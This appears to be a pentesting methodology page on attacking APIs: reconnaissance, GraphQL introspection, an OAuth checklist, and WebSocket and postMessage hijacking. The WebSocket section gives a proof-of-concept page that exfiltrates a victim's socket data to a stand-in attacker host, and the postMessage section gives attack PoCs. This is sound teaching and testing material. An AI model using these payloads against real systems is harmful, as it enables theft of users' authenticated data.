black electronics

API Security

Pentesting APIs

Pentesting APIs

Modern applications increasingly expose their core functionality directly through APIs — REST, GraphQL, SOAP and OData — rather than through server-rendered pages. These interfaces often carry weaker input validation and access control than the traditional web front end sitting in front of them, and frequently expose more functionality than the UI ever surfaces. This section covers discovering, documenting and exploiting API-specific weaknesses.

API Reconnaissance

Before testing endpoints directly, spend time mapping what actually exists. A lot of exposed API surface is never linked from the UI at all.

# Google dorking
intitle:"api" site:"target.com"
intitle:"json" site:"target.com"
inurl:"/api/v1/" site:"target.com"
# GitHub dorking for leaked keys and spec files
extension:json target-project
"authorization: Bearer"
filename:swagger.json
# Shodan
"wp-json"

Amass is useful for enumerating API subdomains alongside regular asset discovery:

Terminal window
amass enum -list # List all sources Amass will use
amass enum -active -d api.example.com

For reverse-engineering an API’s surface from normal browser/app usage, proxy the traffic with mitmproxy and convert the captured flow into an OpenAPI spec with mitmproxy2swagger:

Terminal window
mitmweb # Browse the target app/site as normal through the proxy
# File -> Save in mitmweb to export the flow
mitmproxy2swagger -i ~/Downloads/flows -o spec.yml -p https://api.example.com -f flow

Where documented paths are known but individual endpoints aren’t, Kiterunner fuzzes for real API routes far more effectively than a generic wordlist:

Terminal window
kr scan https://api.example.com -w routes-large.kite

Generic content discovery against documentation/spec paths also pays off:

Terminal window
gobuster dir -u https://api.example.com/ -w api-docs-path.txt

Further reading and wordlists: Hacking APIs (hAPI-hacker).

Documentation & Tooling

Most APIs ship (or leak) a machine-readable spec — Swagger/OpenAPI or an OData $metadata document — that’s worth converting into a testable format as early as possible.

Swagger / OpenAPI — convert a discovered swagger.json into a spreadsheet for triage, or straight into a Postman collection for testing:

https://json-csv.com/ # Paste the Swagger JSON, select "Matrix Style" to flatten nested fields

OData — the $metadata endpoint describes the entire entity model, which can be converted into an OpenAPI 3.0 spec and imported straight into Postman:

https://api.example.com/odata/v2.0/$metadata # Save the returned XML locally
npm install # From a clone of https://github.com/oasis-tcs/odata-openapi
node lib/cli.js pathToYourMetadataFile.xml # Produces pathToYourMetadataFile.openapi3.json

Import the resulting OpenAPI file into Postman (File → Import, ensure “Generate collection” is checked) to get a full, ready-to-test collection of every entity and operation the OData service exposes.

Postman — once a collection exists, a few small scripts make bulk testing much faster:

// Pre-request script: attach a shared header to every request in a collection
pm.request.headers.add({ key: "X-Api-Key", value: "<value>" });
Terminal window
# Extract every unique URL out of an exported Postman collection for quick recon
(Get-Content '.\collection.postman_collection.json' -Raw | ConvertFrom-Json).item.request.url.raw

GraphQL

Unlike REST, a GraphQL API typically exposes a single endpoint, and introspection — if left enabled — will hand over its entire schema, including fields and mutations never used by the front end.

# Common endpoints to check for
/graphql
/graphiql
/graphql.php
/graphql/console
/api/graphql
# List every type in the schema
query {
__schema {
types {
name
description
}
}
}
# Full introspection query - returns the complete schema in one request
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

GraphQLmap automates querying and dumping once a schema is known:

Terminal window
python3 graphqlmap.py -u https://api.example.com/graphql
GraphQLmap > dump_via_introspection

For interactively exploring a schema and crafting queries by hand, GraphiQL Online is a fast, no-install option.

OAuth 2.0

OAuth 2.0 is an authorization framework that lets an application request limited access to a user’s account on another service, without ever seeing that user’s credentials directly. Most implementations follow one of two flows:

  • Authorization code grant — the client receives a short-lived code, then exchanges it server-to-server for an access token. The more secure of the two, since tokens never transit the browser.
  • Implicit grant — the access token is returned directly via a browser redirect fragment. Simpler, but the lack of a back-channel exchange step makes it inherently more exposed.

Recon

Most OAuth/OpenID Connect servers publish their endpoint layout at a well-known path:

/.well-known/oauth-authorization-server
/.well-known/openid-configuration
/.well-known/openid-configuration/jwks
/connect/authorize
/connect/token
/connect/userinfo
/connect/introspect
/connect/revocation

Checklist

# Authorization endpoint
- Is there an open redirect on the redirect_uri parameter?
- What's the entropy of the authorization code? Can it be brute-forced?
- Can a client request more scope than it should be permitted?
# Token endpoint
- Do authorization codes expire quickly (~30 min) and work only once?
- Can an authorization code obtained by one client be redeemed by a different client?
- Are the client secret and Client ID actually validated, and where are they transmitted?
- Do refresh tokens expire, and can a different client redeem a refresh token than the one that issued it?
- Is there rate limiting on code/token/secret guessing?
# Resource server
- Do access tokens actually expire, and are expired/revoked tokens rejected?
- Are tokens accepted from the header, the body, or (worse) both?
# JWTs used as tokens
- Was the JWT issued for a different resource server, or signed by a different issuer?
- Is it signed with `alg: none`, or with a symmetric algorithm using the public key as the HMAC secret?
- Can you access an API that requires a scope the token doesn't actually have?

Further reading: OAuth 2.0 Security Cheat Sheet, PortSwigger — hidden OAuth attack vectors.

Testing a Refresh Flow

Terminal window
curl -X POST "https://auth.example.com/v1/auth/refresh" \
-H "Authorization: Bearer <refresh_token>" \
-H "Accept: application/json" \
--data "grant_type=refresh_token"

Worth checking here: does the response return a new refresh token (rotation), or can the same refresh token be replayed indefinitely?

WebSockets

Where an application upgrades a connection to a WebSocket, the same cross-origin concerns that apply to regular HTTP still apply — if the server doesn’t validate the Origin header on the initial handshake, a page on any origin can open a socket to it in the victim’s authenticated context and read whatever the server streams back (Cross-Site WebSocket Hijacking).

<!DOCTYPE html>
<html>
<body>
<script>
const ws = new WebSocket('wss://target.example/stream');
ws.onopen = () => ws.send("READY");
ws.onmessage = async (event) => {
const raw = event.data instanceof Blob ? await event.data.text() : event.data;
const encoded = btoa(unescape(encodeURIComponent(raw)));
fetch('https://attacker-collaborator.example/?exfil=' + encoded, { mode: 'no-cors' });
};
</script>
</body>
</html>

If this page is loaded by an authenticated victim and the server accepts the handshake regardless of Origin, every message the server streams back over the socket is silently exfiltrated to the listener.

PostMessage

window.postMessage lets two windows on different origins exchange messages, and is commonly used for embedded login widgets, SSO handoffs, and cross-frame communication. Vulnerabilities arise when a receiving page doesn’t validate the message’s origin, or when a sending page doesn’t restrict the targetOrigin it posts to.

Methodology:

  1. Look for cross-window/iframe communication — the PostMessage-Tracker browser extension and Burp/DOM Invader both help surface postMessage listeners.
  2. Statically review any listener for missing or overly permissive event.origin checks.
  3. Build a proof of concept page that opens or embeds the target and posts a crafted message to see how the listener reacts.
<!-- Popup-based PostMessage PoC -->
<script>
var target = window.open("https://target.example/widget", "target", "width=500,height=400");
setTimeout(function () {
target.postMessage({ method: "someHandler", value: "attacker-controlled" }, "*");
}, 2000);
</script>
<!-- Iframe-based PostMessage PoC -->
<iframe id="targetFrame" src="https://target.example/widget"></iframe>
<script>
function send() {
document.getElementById("targetFrame").contentWindow.postMessage(
{ method: "someHandler", value: "attacker-controlled" },
"*"
);
}
window.onload = send;
</script>

Further reading: Exploiting postMessage to steal user cookies.

Useful LinksPentest PayloadsCheat Sheets